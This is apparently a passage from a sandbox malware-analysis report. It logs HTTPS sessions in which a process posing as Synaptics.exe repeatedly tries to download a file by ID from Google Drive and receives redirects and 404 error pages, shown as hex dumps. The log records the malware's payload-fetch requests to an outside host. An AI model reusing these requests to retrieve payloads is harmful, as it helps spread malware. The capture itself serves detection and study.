2024-07-25 19:55:14 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	49791	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:13 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=HtEJUzGOcHsXAUdlPOPIWRinzMJ_D56-TS10MWlIWV4x9tye4yvSCnV3EyLQ8VZBiwPREMXX2qqNdvwNgZaS5v9Hn3jccwW-4ZGGghophY4Rh1iU-Ol4GSG74sa4AyaWibKcidx_sRg3_QDKbuecWm2RydTyyHCvfNgvqlSMp8Y
2024-07-25 19:55:14 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:14 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-23a_rVFn3nLMbwslADvwTQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	49792	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:13 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=HtEJUzGOcHsXAUdlPOPIWRinzMJ_D56-TS10MWlIWV4x9tye4yvSCnV3EyLQ8VZBiwPREMXX2qqNdvwNgZaS5v9Hn3jccwW-4ZGGghophY4Rh1iU-Ol4GSG74sa4AyaWibKcidx_sRg3_QDKbuecWm2RydTyyHCvfNgvqlSMp8Y
2024-07-25 19:55:14 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:14 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-sSI4AYp5oKsKVrM3t37BFw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	49794	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:14 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	49799	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:15 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=HtEJUzGOcHsXAUdlPOPIWRinzMJ_D56-TS10MWlIWV4x9tye4yvSCnV3EyLQ8VZBiwPREMXX2qqNdvwNgZaS5v9Hn3jccwW-4ZGGghophY4Rh1iU-Ol4GSG74sa4AyaWibKcidx_sRg3_QDKbuecWm2RydTyyHCvfNgvqlSMp8Y
2024-07-25 19:55:15 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:15 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-_89hB-Wit2tPaRUTAQ0G3A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	49798	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:15 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:15 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:15 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-NyB6CMZvVTtAWmCZ9FkpLA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: AHxI1nMR_lZDMwcd2y5wzXQMo4PQAXKwMCZZ_JQ7Vcz3hf5mW7N5lovo-_5CwVaVYzfUkwJyW6nLcDlVWQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:15 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-25 19:55:15 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 34 48 59 53 5f 6b 4b 31 6f 36 68 38 30 78 73 73 4f 64 41 4d 56 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="4HYS_kK1o6h80xssOdAMVw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-25 19:55:15 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	49800	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:15 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=BP3v9g5IPv4fqgPIrLK5abHnATCIOS_dEtmKqd1Wbup5f4tmTLzbfXJDC__xlg0yZtTyq1JapzKkpey2Nv4q5Br9PGbHWcshPLVxwdVSAgS2_2wEMbRsNkBOmahSZRswn__7pMUYTI7cwNwtbsCvqE-dM7JG8sWrmLmO737pGIc
2024-07-25 19:55:15 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:15 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-xRd86IZnwWxZ_ymRSIYHKA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	49802	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:16 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=BP3v9g5IPv4fqgPIrLK5abHnATCIOS_dEtmKqd1Wbup5f4tmTLzbfXJDC__xlg0yZtTyq1JapzKkpey2Nv4q5Br9PGbHWcshPLVxwdVSAgS2_2wEMbRsNkBOmahSZRswn__7pMUYTI7cwNwtbsCvqE-dM7JG8sWrmLmO737pGIc
2024-07-25 19:55:16 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:16 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-cX-o317AKT0dljag1oy6bA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	49803	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:16 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:16 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:16 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-q-s7jO46qSb30nHblbPW0w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: AHxI1nM8jdAbRN0-i3VhnWRRp6bMVq7EGnMKRqiBkwFGK0fEE95ppMgyJkQsUtTbTXAURgmLP4iKQXfonw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:16 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-25 19:55:16 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 43 6b 47 7a 56 6e 42 50 34 58 62 63 70 61 39 6a 55 33 77 65 73 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="CkGzVnBP4Xbcpa9jU3wesw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-25 19:55:16 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.8	49804	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:16 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=BP3v9g5IPv4fqgPIrLK5abHnATCIOS_dEtmKqd1Wbup5f4tmTLzbfXJDC__xlg0yZtTyq1JapzKkpey2Nv4q5Br9PGbHWcshPLVxwdVSAgS2_2wEMbRsNkBOmahSZRswn__7pMUYTI7cwNwtbsCvqE-dM7JG8sWrmLmO737pGIc
2024-07-25 19:55:16 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:16 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-IaWjI0v6OYDoOPPrSC-wBA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.8	49805	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:16 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:16 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:16 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-GFgKDQgRrT0nlBOipj3K4g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nOPtJ2m3vHevaG3Q6a4nLgqvSUe3dA4bGmGbl4BSIoCqAXcBm_hX3xTIT7F85lisxIzRJvUiznDLA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:16 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-25 19:55:16 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 35 50 55 72 75 46 44 43 41 52 46 59 75 67 56 4c 36 65 6d 39 54 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 